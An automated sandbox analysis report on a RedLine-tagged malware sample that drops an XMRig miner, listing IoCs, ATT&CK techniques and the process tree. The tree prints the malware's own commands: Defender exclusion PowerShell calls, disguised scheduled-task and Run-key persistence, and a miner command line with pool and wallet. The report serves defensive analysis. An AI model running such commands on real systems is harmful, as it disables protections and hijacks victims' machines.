redline | ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/files/0x0007000000022e13-139.dat	xmrig
behavioral2/files/0x0007000000022e13-138.dat	xmrig
behavioral2/memory/4948-143-0x0000000000AA0000-0x00000000015C8000-memory.dmp	xmrig
behavioral2/memory/2564-154-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2564-157-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2564-158-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2564-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2564-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2564-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/files/0x0006000000023268-231.dat	xmrig

Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
2356	Updater.exe
4948	Setup.exe
4848	System.exe
4684	dllhost.exe
3860	winlogson.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Setup.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/4232-132-0x0000000000400000-0x000000000147D000-memory.dmp	themida
behavioral2/memory/4232-144-0x0000000000400000-0x000000000147D000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "C:\\ProgramData\\Dllhost\\dllhost.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "C:\\Windows\\System32\\SecurityHealthSystray.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpd = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe/file.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AntiMalwareServiceExecutable = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2111.5-0\\MsMpEng.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveService = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe/file.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvStray = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe / file.exe"	dllhost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	file.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\NBEDOHJOLENEENE = "C:\\Windows\\system32\\Updater.exe"	file.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\NECPMBGLDMLALMA = "C:\\Windows\\system32\\Setup.exe"	file.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender = "C:\\Program Files\\Windows Defender\\MpCmdRun.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cortana = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe\\Cortana.exe"	dllhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Setup.exe	file.exe
File created	C:\Windows\SysWOW64\Updater.exe	file.exe
File opened for modification	C:\Windows\SysWOW64\Updater.exe	file.exe
File created	C:\Windows\SysWOW64\Setup.exe	file.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4232	file.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2356 set thread context of 3040	2356	Updater.exe	85
PID 4948 set thread context of 2564	4948	Setup.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1640	4948	WerFault.exe	84

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4332	schtasks.exe
3132	schtasks.exe
2100	schtasks.exe
1276	schtasks.exe
836	schtasks.exe
3208	schtasks.exe
760	schtasks.exe
4932	schtasks.exe
5032	schtasks.exe
2224	schtasks.exe
3412	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	file.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4948	Setup.exe
4948	Setup.exe
4948	Setup.exe
4948	Setup.exe
4948	Setup.exe
3040	vbc.exe
3040	vbc.exe
4848	System.exe
4880	powershell.exe
4880	powershell.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
1688	powershell.exe
1688	powershell.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
1688	powershell.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe
4684	dllhost.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	Setup.exe
Token: SeLockMemoryPrivilege	2564	ngentask.exe
Token: SeLockMemoryPrivilege	2564	ngentask.exe
Token: SeDebugPrivilege	3040	vbc.exe
Token: SeDebugPrivilege	4848	System.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	4684	dllhost.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeLockMemoryPrivilege	3860	winlogson.exe
Token: SeLockMemoryPrivilege	3860	winlogson.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2564	ngentask.exe
3860	winlogson.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 2356	4232	file.exe	83
PID 4232 wrote to memory of 2356	4232	file.exe	83
PID 4232 wrote to memory of 2356	4232	file.exe	83
PID 4232 wrote to memory of 4948	4232	file.exe	84
PID 4232 wrote to memory of 4948	4232	file.exe	84
PID 2356 wrote to memory of 3040	2356	Updater.exe	85
PID 2356 wrote to memory of 3040	2356	Updater.exe	85
PID 2356 wrote to memory of 3040	2356	Updater.exe	85
PID 2356 wrote to memory of 3040	2356	Updater.exe	85
PID 2356 wrote to memory of 3040	2356	Updater.exe	85
PID 4948 wrote to memory of 4332	4948	Setup.exe	86
PID 4948 wrote to memory of 4332	4948	Setup.exe	86
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 4948 wrote to memory of 2564	4948	Setup.exe	88
PID 3040 wrote to memory of 4848	3040	vbc.exe	94
PID 3040 wrote to memory of 4848	3040	vbc.exe	94
PID 3040 wrote to memory of 4848	3040	vbc.exe	94
PID 4848 wrote to memory of 2172	4848	System.exe	98
PID 4848 wrote to memory of 2172	4848	System.exe	98
PID 4848 wrote to memory of 2172	4848	System.exe	98
PID 2172 wrote to memory of 4764	2172	cmd.exe	100
PID 2172 wrote to memory of 4764	2172	cmd.exe	100
PID 2172 wrote to memory of 4764	2172	cmd.exe	100
PID 2172 wrote to memory of 4880	2172	cmd.exe	101
PID 2172 wrote to memory of 4880	2172	cmd.exe	101
PID 2172 wrote to memory of 4880	2172	cmd.exe	101
PID 4848 wrote to memory of 4684	4848	System.exe	112
PID 4848 wrote to memory of 4684	4848	System.exe	112
PID 4848 wrote to memory of 4684	4848	System.exe	112
PID 4684 wrote to memory of 3116	4684	dllhost.exe	113
PID 4684 wrote to memory of 3116	4684	dllhost.exe	113
PID 4684 wrote to memory of 3116	4684	dllhost.exe	113
PID 4684 wrote to memory of 3136	4684	dllhost.exe	117
PID 4684 wrote to memory of 3136	4684	dllhost.exe	117
PID 4684 wrote to memory of 3136	4684	dllhost.exe	117
PID 4684 wrote to memory of 4132	4684	dllhost.exe	115
PID 4684 wrote to memory of 4132	4684	dllhost.exe	115
PID 4684 wrote to memory of 4132	4684	dllhost.exe	115
PID 4684 wrote to memory of 3096	4684	dllhost.exe	118
PID 4684 wrote to memory of 3096	4684	dllhost.exe	118
PID 4684 wrote to memory of 3096	4684	dllhost.exe	118
PID 4684 wrote to memory of 4416	4684	dllhost.exe	119
PID 4684 wrote to memory of 4416	4684	dllhost.exe	119
PID 4684 wrote to memory of 4416	4684	dllhost.exe	119
PID 4684 wrote to memory of 4852	4684	dllhost.exe	123
PID 4684 wrote to memory of 4852	4684	dllhost.exe	123
PID 4684 wrote to memory of 4852	4684	dllhost.exe	123
PID 4684 wrote to memory of 3708	4684	dllhost.exe	125
PID 4684 wrote to memory of 3708	4684	dllhost.exe	125
PID 4684 wrote to memory of 3708	4684	dllhost.exe	125
PID 4684 wrote to memory of 1408	4684	dllhost.exe	131
PID 4684 wrote to memory of 1408	4684	dllhost.exe	131

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\SysWOW64\Updater.exe
  "C:\Windows\system32\Updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Users\Admin\AppData\Local\Temp\System.exe
      "C:\Users\Admin\AppData\Local\Temp\System.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 1251 & powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\SystemData"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2172
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:4764
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
    - - C:\ProgramData\Dllhost\dllhost.exe
        
        "C:\ProgramData\Dllhost\dllhost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4684
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4932
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4132
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3136
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1276
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3096
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:836
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4416
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3208
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4852
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2224
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3412
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk4699" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:2468
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk4699" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2100
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk9599" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4636
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk9599" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:5032
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:1408
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3132
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk2538" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4680
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk2538" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:760
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostService_bk1783" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:2124
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
        6⤵
        
        PID:4384
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:3132
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
        6⤵
        
        PID:4956
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:1204
        
        C:\ProgramData\Dllhost\winlogson.exe
        
        C:\ProgramData\Dllhost\winlogson.exe -c config.json
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:3860
- C:\Windows\SysWOW64\Setup.exe
  "C:\Windows\system32\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 3 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\DataSellSetupMutex\RegVBS.exe.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4332
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe --algo rx/0 --donate-level 0 --max-cpu-usage 60 -oxmr-eu1.nanopool.org:14444 -u 42CqPp3vCd3EurYa4S5wYdFJzNFEtgwc7VmmGzq4BQtz7rWKxVyjQQ8hFvB4P49FmCeLu8NrfN5t1S8oCbkaaVd34YvGvQN
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2564
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4948 -s 1160
    3⤵
    - Program crash
    PID:1640

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 4948 -ip 4948
1⤵
PID:704

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery